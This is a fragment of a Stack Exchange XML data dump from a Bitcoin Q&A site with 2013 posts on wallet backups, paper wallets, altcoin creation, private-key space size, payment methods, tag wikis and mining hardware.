wrong?&lt;/p&gt;&#xA;" OwnerUserId="5553" LastActivityDate="2013-06-29T06:32:02.973" Title="BOP: Not authorized to receive from the temporary destination" Tags="|bitcoinj|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11881" PostTypeId="2" ParentId="11880" CreationDate="2013-06-29T06:32:02.973" Score="1" Body="&lt;p&gt;Tamas has already found a workaround for this issue over on the &lt;a href=&quot;https://issues.apache.org/jira/browse/APLO-306&quot; rel=&quot;nofollow&quot;&gt;Apollo JIRA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to change your apollo.xml to use the &quot;default&quot; virtual host id, instead of the one that is configured by the Apollo deployment.  Its possible that the client side (BOP) needs to be configured to specify the virtual host to use somewhere, but I have no idea where, so this works for now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;virtual_host id=&quot;default&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5553" LastActivityDate="2013-06-29T06:32:02.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11882" PostTypeId="2" ParentId="11878" CreationDate="2013-06-29T09:43:24.387" Score="0" Body="&lt;p&gt;No Problem:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;just Export your Privatekey. --&gt; with Bitcoin-QT, go to Console and type:&#xA;&quot;dumpprivkey {your Public-Address}&quot;   - Just replace your Public-Address with that one you want to export&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a QR-Code from Private-Key &amp;amp; your Public-Address&#xA;You can use &lt;a href=&quot;http://www.qrcode-monkey.com/#text&quot; rel=&quot;nofollow&quot;&gt;http://www.qrcode-monkey.com/#text&lt;/a&gt;&#xA;But remember: It's not very secure to past your Private-key Online !!&#xA;Better use some Offline QR Code generator!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paste your QR Codes (Public Address &amp;amp; PrivateKey) on your Paperwallet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5755" LastEditorDisplayName="user3930" LastEditDate="2013-06-29T20:34:17.370" LastActivityDate="2013-06-29T20:34:17.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11883" PostTypeId="2" ParentId="11878" CreationDate="2013-06-29T09:49:05.687" Score="7" Body="&lt;p&gt;Right now, that's not supported. You can try (see user2194702's answer), but if you don't know the exact workings of the wallet, you're very likely to shoot yourself in the foot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Bitcoin-Qt will send &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;change&lt;/a&gt; to a new address every time you create a transaction, and in general does not follow the &quot;balance per address&quot; concept but a &quot;balance per wallet&quot;. This improves the privacy of the system (for you, but also for others), but complicates backups. In particular, you cannot backup a wallet by just making a backup of a single key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HD Wallets (hierarchical deterministic wallets, see &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0032&quot; rel=&quot;nofollow&quot;&gt;BIP32&lt;/a&gt;) are intended to overcome this problem, by making sure you can backup a wallet by only making a backup of a single seed that is used to derive all keys. This is planned to be implemented in Bitcoin-Qt, but not yet available.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="112" LastEditDate="2015-06-09T19:05:14.503" LastActivityDate="2015-06-09T19:05:14.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11885" PostTypeId="1" CreationDate="2013-06-29T15:41:15.393" Score="2" ViewCount="86" Body="&lt;p&gt;From this BlockChain API&#xA;&lt;a href=&quot;http://blockchain.info/address/1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F?format=json&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F?format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are those considered as successful transaction?&#xA;If not, I would like to know which are successful inputs(receivables) for that sample address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="5457" LastActivityDate="2013-06-29T15:41:15.393" Title="Determine which are the successful transaction using BlockChain API" Tags="|blockchain.info|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11888" PostTypeId="5" CreationDate="2013-06-29T19:38:16.303" Score="0" Body="" OwnerUserId="5649" LastEditorUserId="121614" LastEditDate="2023-11-08T00:56:40.903" LastActivityDate="2023-11-08T00:56:40.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11889" PostTypeId="4" CreationDate="2013-06-29T19:38:16.303" Score="0" Body="Bitcoin Core's configuration file." OwnerUserId="5649" LastEditorUserId="121614" LastEditDate="2023-11-08T00:56:40.903" LastActivityDate="2023-11-08T00:56:40.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11891" PostTypeId="5" CreationDate="2013-06-29T19:40:00.777" Score="0" Body="&lt;p&gt;Yacoins are one of many cryptocurrencies. Website: &lt;a href=&quot;http://www.yacoin.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.yacoin.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:34:51.707" LastActivityDate="2013-06-30T00:34:51.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11892" PostTypeId="4" CreationDate="2013-06-29T19:40:00.777" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-29T19:40:00.777" LastActivityDate="2013-06-29T19:40:00.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11893" PostTypeId="1" AcceptedAnswerId="11905" CreationDate="2013-06-29T19:44:33.120" Score="5" ViewCount="248" Body="&lt;p&gt;Would the existence of other cryptocurrencies negatively effect Bitcoins? It seems that other forms of cryptocurrencies would be competition to Bitcoins. Alternately, would it be like having other currency units like real money where the English pound and US dollar do not compete?&lt;/p&gt;&#xA;" OwnerUserId="5649" LastEditorUserId="5406" LastEditDate="2014-03-08T23:50:00.947" LastActivityDate="2014-03-08T23:50:00.947" Title="Would the existance of other cryptocurrencies negatively effect Bitcoins?" Tags="|currencies|altcoin|money|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11894" PostTypeId="5" CreationDate="2013-06-29T19:46:52.957" Score="0" Body="&lt;p&gt;Current amount of currency units (bitcoins, ppcoins, real money, etc.).&lt;/p&gt;&#xA;" OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:35:20.363" LastActivityDate="2013-06-30T00:35:20.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11895" PostTypeId="4" CreationDate="2013-06-29T19:46:52.957" Score="0" Body="Current amount of currency units (bitcoins, ppcoins, real money, etc.)." OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:35:30.567" LastActivityDate="2013-06-30T00:35:30.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11896" PostTypeId="5" CreationDate="2013-06-29T19:47:49.197" Score="0" Body="&lt;p&gt;Physical money (coins or paper-bills).&lt;/p&gt;&#xA;" OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:34:46.987" LastActivityDate="2013-06-30T00:34:46.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11897" PostTypeId="4" CreationDate="2013-06-29T19:47:49.197" Score="0" Body="Physical money (coins or paper-bills)." OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:33:52.280" LastActivityDate="2013-06-30T00:33:52.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11899" PostTypeId="5" CreationDate="2013-06-29T19:48:33.073" Score="0" Body="&lt;p&gt;General purpose programming language.&lt;/p&gt;&#xA;" OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:35:28.270" LastActivityDate="2013-06-30T00:35:28.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11900" PostTypeId="4" CreationDate="2013-06-29T19:48:33.073" Score="0" Body="General purpose programming language." OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:35:34.003" LastActivityDate="2013-06-30T00:35:34.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11901" PostTypeId="5" CreationDate="2013-06-29T19:49:42.857" Score="0" Body="&lt;p&gt;Pronounced &quot;C-Sharp&quot;. A computer language developed by Microsoft.&lt;/p&gt;&#xA;" OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:34:44.220" LastActivityDate="2013-06-30T00:34:44.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11902" PostTypeId="4" CreationDate="2013-06-29T19:49:42.857" Score="0" Body="Pronounced &quot;C-Sharp&quot;. A computer language developed by Microsoft." OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:33:45.653" LastActivityDate="2013-06-30T00:33:45.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11903" PostTypeId="5" CreationDate="2013-06-29T19:51:14.690" Score="0" Body="&lt;p&gt;A process running in the background. Pronounced &quot;DAY-mon&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:34:31.563" LastActivityDate="2013-06-30T00:34:31.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11904" PostTypeId="4" CreationDate="2013-06-29T19:51:14.690" Score="0" Body="A process running in the background. Pronounced &quot;DAY-mon&quot;." OwnerUserId="5649" LastEditorUserId="5649" LastEditDate="2013-06-30T00:34:39.127" LastActivityDate="2013-06-30T00:34:39.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11905" PostTypeId="2" ParentId="11893" CreationDate="2013-06-30T00:31:36.177" Score="4" Body="&lt;p&gt;It depends a lot on the circumstances. If the use cases overlap significantly, then the currencies can compete. That could negatively affect Bitcoins. However, if the use cases don't overlap significantly, then the currencies likely won't compete. That could even positively affect Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crypto-currencies aren't fighting over shares of a fixed-sized pie. Crypto-currencies are cooperating to enlarge the pie and bring their benefits to a much, much broader population.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, near clones like Litecoin do affect Bitcoin negatively because they don't attract a new population and they do reduce the chances that Bitcoin will attain critical mass. However, I must stress that one shouldn't assume that anything that's bad for Bitcoin is bad for mankind. It's always possible a new crypto-currency will come along that's much better for humanity than Bitcoin is, and the weaker Bitcoin is at the time, possibly the better for that currency. Of course, on the flip side, the more Bitcoin has paved the way, perhaps the better for that currency.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-30T00:31:36.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11907" PostTypeId="2" ParentId="11893" CreationDate="2013-06-30T03:14:17.497" Score="3" Body="&lt;p&gt;There is the theory first described by Hal Finney that if an alt currency supplants bitcoin (in which Bitcoin's value goes down as coins are sod for transfer to another) then that is something that too can be repeated over and over, and thus crypto currencies lose their ability to be a good store of value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that happening harms, over the long term, not just bitcoin but all crypto currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Bitcoin is a proof-of-work (POW) based crypto currency, and thus it is susceptible to a 51% attack.   Thus it needs a sufficient level of hashing for the network to be protected.  This is what differentiates bitcoin from competing POW-based crypto coins which have a hashing capacity just a tiny fraction of Bitcoin's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there still could be multiple successes, since all that needs to remain protected from a 51% is sufficient hashing capacity and there might multiple POW currencies with a sufficient level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this moment, Litecoin may not yet have a sufficient level but it is the closest to Bitcoin to reaching that state.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-06-30T03:14:17.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11909" PostTypeId="1" CreationDate="2013-06-30T03:52:26.090" Score="7" ViewCount="6064" Body="&lt;p&gt;I'm looking to create an alt-coin for a club I'm a part of.  All the members of the club will be mining this currency - and we will use it for trade between members. It will also be a learning experience for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the fastest way for me to create this new alt-coin - and assuming everyone will be GPU mining - what would be the best alt-currency to base it off of (or would it be better to base it off of the original bitcoin)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What programming skills would we need to re-use existing code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CC&lt;/p&gt;&#xA;" OwnerUserId="5763" LastEditorUserId="196" LastEditDate="2013-07-21T16:36:12.757" LastActivityDate="2017-05-12T00:37:06.587" Title="How would one go about creating a new alt-coin?" Tags="|blockchain|development|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11911" PostTypeId="2" ParentId="11861" CreationDate="2013-06-30T09:19:23.913" Score="1" Body="&lt;p&gt;i have 3 7950s with 3gb of ram each and only 2gb in the machine, it would work even with 1 gb i think&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there was a bug with an older version of openCL or cgminer (cant remember) that did use pc ram instead of gpu.&lt;/p&gt;&#xA;" OwnerUserId="5764" LastActivityDate="2013-06-30T09:19:23.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11912" PostTypeId="1" CreationDate="2013-06-30T10:28:14.283" Score="0" ViewCount="500" Body="&lt;p&gt;I know blockchain.info etc, but I'm looking for things beyond simple timelines of transaction volume and the like. I was thinking towards scientific projects that aim at discovering patterns in the historical data, for instance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;are there addresses that accumulate large amounts of btc?&lt;/li&gt;&#xA;&lt;li&gt;are there interesting transaction pattern, e. g. prolonged transaction &quot;ping pong&quot; between address pairs, &quot;star patterns&quot; where a single address sends out transactions to a large group of others, etc&lt;/li&gt;&#xA;&lt;li&gt;are there amounts that seem to get passed on along a long chain of addresses?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that those are just examples I made up to illustrate what kind of angle I'm looking for: a more open-ended, scientific analysis rather than trading advice. That same notion makes it hard to search for projects, so I'm hoping that someone might happen to know something.&lt;/p&gt;&#xA;" OwnerUserId="5751" LastEditorUserId="5751" LastEditDate="2013-07-02T14:58:22.533" LastActivityDate="2015-10-14T13:41:06.267" Title="Are there projects visualizing and analyzing historical transaction data?" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11913" PostTypeId="2" ParentId="7708" CreationDate="2013-06-30T16:49:48.653" Score="5" Body="&lt;p&gt;Mike Hearn's WalletTool (included in the bitcoinj library) is a pretty good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a look at the 'send' method in WalletTool you can see that it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Creates a SendRequest&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Decrypts the private key if necessary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Completes the tx to get the inputs and find the fee&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Signs the tx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Starts up a PeerGroup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Broadcasts it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an offline transaction you can do 1 to 4, serialize the tx and then call the blockchain pushtx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a method on Transaction called bitcoinSerialize to convert it to the bytes that need transmitting. I think you just have to convert the bytes to hex for the blockchain pushtx but you would have to try it out.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-06-30T16:49:48.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11914" PostTypeId="1" CreationDate="2013-06-30T19:22:35.827" Score="1" ViewCount="156" Body="&lt;p&gt;I'm interested in e-currency that discourages black market usage (child porn, meth deals, etc) but allows for anonymous operation (donations to charity, buying a pizza, viagra, or other health issues)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What pre-existing work exists that researches applicability of various &quot;controls&quot; into e-currency systems such as e-cash, Bitcoin, Open Transactions, etc.  And by &quot;controls&quot; I mean:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Psuedo anonymous user registration&lt;/li&gt;&#xA;&lt;li&gt;Usage &quot;escrow&quot; allowing third party audits or reviews of transactions&lt;/li&gt;&#xA;&lt;li&gt;Anything else that would be resisted by the Bitcoin purist.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm interested in any example you can think of, links to Bitcoin Talk, or any other whitepaper that discusses ways to legitimize e-currency to a moderate fiscal conservative.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="196" LastEditDate="2013-07-21T16:36:19.947" LastActivityDate="2013-08-20T17:11:54.603" Title="When thinking about e-currency in a general sense, what features discourage black market usage, but promote anonymity?" Tags="|legal|open-transactions|academic-research|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11915" PostTypeId="2" ParentId="11912" CreationDate="2013-06-30T20:19:02.830" Score="0" Body="&lt;p&gt;Your problem is the &quot;things like that&quot;.  There are lots of different things that might be of interest to some people and not to others, and so each site has a few reports or charts but none are comprehensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two examples: &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; has a number of reports in the bottom right of their main page under the 'Other Bitcoin links' that has some reports that some might find interesting.  &lt;a href=&quot;http://charts.bconomy.com/&quot; rel=&quot;nofollow&quot;&gt;Bconomy&lt;/a&gt; has a number of charts that provide information about blocks and transactions.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-30T20:19:02.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11916" PostTypeId="1" CreationDate="2013-06-30T22:18:26.733" Score="2" ViewCount="1618" Body="&lt;p&gt;I need to be able to generate addresses and receive bitcoins to them, then send them somewhere else - and do it on a server via some command-line interface. Is it possible to do so without downloading the whole blockchain, as bitcoind requires? That is, is there a lightweight client, but for the command line?&lt;/p&gt;&#xA;" OwnerUserId="2583" LastActivityDate="2013-07-01T06:35:35.667" Title="Lightweight command-line client?" Tags="|client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11917" PostTypeId="2" ParentId="8787" CreationDate="2013-06-30T22:36:07.110" Score="2" Body="&lt;p&gt;Start the client with the &lt;code&gt;-reindex&lt;/code&gt; command-line option.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-06-30T22:36:07.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11918" PostTypeId="2" ParentId="11761" CreationDate="2013-07-01T02:09:48.420" Score="1" Body="&lt;p&gt;Western union online money in minutes. The client pays western union with their credit card, the client send you the mtcn, you pick up the funds. Pretty Much Irreversible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you looked in to Green Dot Money Pak?&#xA;While not technically for payment processing, it is possible to send these to a merchant and they are non-refundable. FYI they are tracked by the federal government. Also always get a copy of their receipt and a signed waiver for anyone purchasing anything from you with a money pak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a few companies that offer money pak conversion services or you could get a re-loadable card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;did i answer it thoroughly or do you need more information?&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2013-07-01T02:09:48.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11919" PostTypeId="2" ParentId="11916" CreationDate="2013-07-01T06:35:35.667" Score="1" Body="&lt;p&gt;Electrum has a text-only version, although I found I had to set it up first time using the gui. Here's my write-up on running it on a Raspberry Pi via SSH though, which sounds like it might do what you need: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinlife.wordpress.com/2013/05/29/running-electrum-on-a-raspberry-pi/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinlife.wordpress.com/2013/05/29/running-electrum-on-a-raspberry-pi/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5773" LastActivityDate="2013-07-01T06:35:35.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11921" PostTypeId="1" CreationDate="2013-07-01T13:02:13.263" Score="0" ViewCount="1105" Body="&lt;p&gt;These are the screenshots. Temp on LTC won't go over 50C although I set it to intensity 12 on my 6770. I get 200Mh/s on BTC and I shouuld be getting 200Kh/s, instead I'm getting 80Kh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LyUea.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/LyUea.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jCgsA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/jCgsA.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?&lt;/p&gt;&#xA;" OwnerUserId="5590" LastEditorUserId="5406" LastEditDate="2016-04-25T19:56:14.213" LastActivityDate="2016-04-25T19:56:14.213" Title="cgminer works just fine for BTC but LTC mining won't get temps over 50C" Tags="|litecoin|miner-configuration|cgminer|gpu-mining|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11922" PostTypeId="2" ParentId="11867" CreationDate="2013-07-01T14:16:21.690" Score="2" Body="&lt;p&gt;Nassim Taleb, who coined the word Antifragile, has commented directly on Bitcoin in a recent AskMeAnything on Reddit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Bitcoin is the beginning of something great: a currency without a government, something necessary and imperative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am not familiar with the specific product to assert whether it is the best potential setup.&#xA;And we need a long time to establish confidence. I only talk from skin-in-the-game.&#xA;If I had money in bitcoin, I would have reported it. But I don’t yet.&#xA;I am waiting to understand it better, not with my brain, but with my experience…&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nassimtaleb.org/2013/03/nassim-taleb-on-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://nassimtaleb.org/2013/03/nassim-taleb-on-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5776" LastActivityDate="2013-07-01T14:16:21.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11923" PostTypeId="1" AcceptedAnswerId="11925" CreationDate="2013-07-01T15:29:45.370" Score="-1" ViewCount="90" Body="&lt;p&gt;&lt;a href=&quot;http://ppcoin.org/static/ppcoin-paper.pdf&quot; rel=&quot;nofollow&quot;&gt;The PPCoin whitepaper&lt;/a&gt; describes &quot;search space&quot; without any context of what it is.  Can anyone describe what search space is?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-07-01T16:07:22.743" Title="What is a &quot;search space&quot; in PPCoin and how is it used?" Tags="|peercoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11924" PostTypeId="2" ParentId="11914" CreationDate="2013-07-01T15:52:46.860" Score="-1" Body="&lt;p&gt;The issuing of currency by a central authority discourages black market usage in a sense that all coins in the system can be tracked by the central authority - with AML and KYC policies. &lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2013-07-01T15:52:46.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11925" PostTypeId="2" ParentId="11923" CreationDate="2013-07-01T16:07:22.743" Score="1" Body="&lt;p&gt;Search space in cryptography refers to the sum of how many different solutions there can be. For example, a bit has a search space of 2 - 1 and 0, white a byte has a search space of 2^8 or 255.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this context, the search space refers to how many different possible hashes there can be for the proof of stake (I believe) algorithm.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2013-07-01T16:07:22.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11926" PostTypeId="1" AcceptedAnswerId="11927" CreationDate="2013-07-01T18:21:36.127" Score="0" ViewCount="901" Body="&lt;p&gt;So if I understand correctly Bitcoin is based on private keys. These private keys can be generated programmaticaly at a rate of billions per hour (or per ms perhaps with a clever ASIC cluster).  Once a private key has been generated, the Public Key and Address can likewise be generated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;privK = f(x)&#xA;pubK  = g(privK)&#xA;addr  = h(pubK)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f: Private Key Generator&#xA;g: Generates the unique public key from the given private key&#xA;h: Generates the unique address from the given public key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if some clever ASIC designer ran an address generator for the next 140 years, how much of the total address pool would he generate.  I ask, because if an ASIC cracker ever &quot;randomly&quot; generated any address that is already in the block chain, he could claim any of those unspent funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At what difficultly level with ASIC key-mining be more profitable then ASIC block-mining?  I think this would be the point at which the bitcoin economy falls apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?  Has this been discussed before.  It isn't in any of the &quot;double-spend&quot; studies I've found.&lt;/p&gt;&#xA;" OwnerUserId="5750" LastEditorUserId="120" LastEditDate="2013-07-01T18:26:48.300" LastActivityDate="2013-07-01T19:16:35.960" Title="How long for an ASIC cluster to generate most private keys" Tags="|private-key|asic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11927" PostTypeId="2" ParentId="11926" CreationDate="2013-07-01T19:16:35.960" Score="1" Body="&lt;p&gt;The private key space is really, really big.  Assume your ASIC cluster can do a billion keys per millisecond, and we'll give you your 140 years.  That will result in around 4.5*10^21 keys, or 4*2^70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private keys are 256-bit, so at the end of your 140 years you will have covered about 1/1,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000 of the keyspace.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-07-01T19:16:35.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11928" PostTypeId="1" CreationDate="2013-07-01T19:20:48.587" Score="1" ViewCount="304" Body="&lt;p&gt;When the &lt;a href=&quot;https://products.butterflylabs.com/homepage/5-gh-s-bitcoin-miner.html&quot; rel=&quot;nofollow&quot;&gt;BitForce Bitcoin Miner&lt;/a&gt; is mining, does it have to be connected to a PC all the time? &lt;/p&gt;&#xA;" OwnerUserId="4138" LastEditorUserId="5406" LastEditDate="2016-04-24T09:05:39.560" LastActivityDate="2016-04-24T09:05:39.560" Title="Has the BitForce Bitcoin Miner be connected to a PC all the time?" Tags="|asic|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11929" PostTypeId="1" AcceptedAnswerId="11940" CreationDate="2013-07-01T20:36:47.827" Score="3" ViewCount="378" Body="&lt;p&gt;It has been confirmed by multiple sources that Bitcoin is not electronic money according to &lt;a href=&quot;http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ%3aL:2009:267:0007:01%3aEN%3aHTML&quot; rel=&quot;nofollow&quot;&gt;EU Directive 2009/110/EC&lt;/a&gt;, mainly because it does not represent &quot;a claim on the issuer&quot; and does not have a &quot;face value&quot;. Ripple IOUs however do seem to fit the definition, especially if they are denominated in government currencies. According to many national implementations of the directive, only licensed institutions are allowed to issue electronic money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any legal investigation on that matter or some expert opinion regarding whether Ripple IOUs are in fact bound by electronic money regulations in the EU?&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="132" LastEditDate="2014-01-13T14:47:14.340" LastActivityDate="2014-01-13T14:47:14.340" Title="Are Ripple IOUs e-Money under European law?" Tags="|ripple|legal|financial-regulations|europe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11930" PostTypeId="2" ParentId="11928" CreationDate="2013-07-01T20:45:03.623" Score="1" Body="&lt;p&gt;Yes. Mining devices such as this are merely highly-specialized processors that communicate with a computer via serial over USB. The computer is necessary in order to tell the device what to do, and to get its result to post to the mining system (i.e. a pool or &lt;code&gt;bitcoind&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-07-01T20:45:03.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
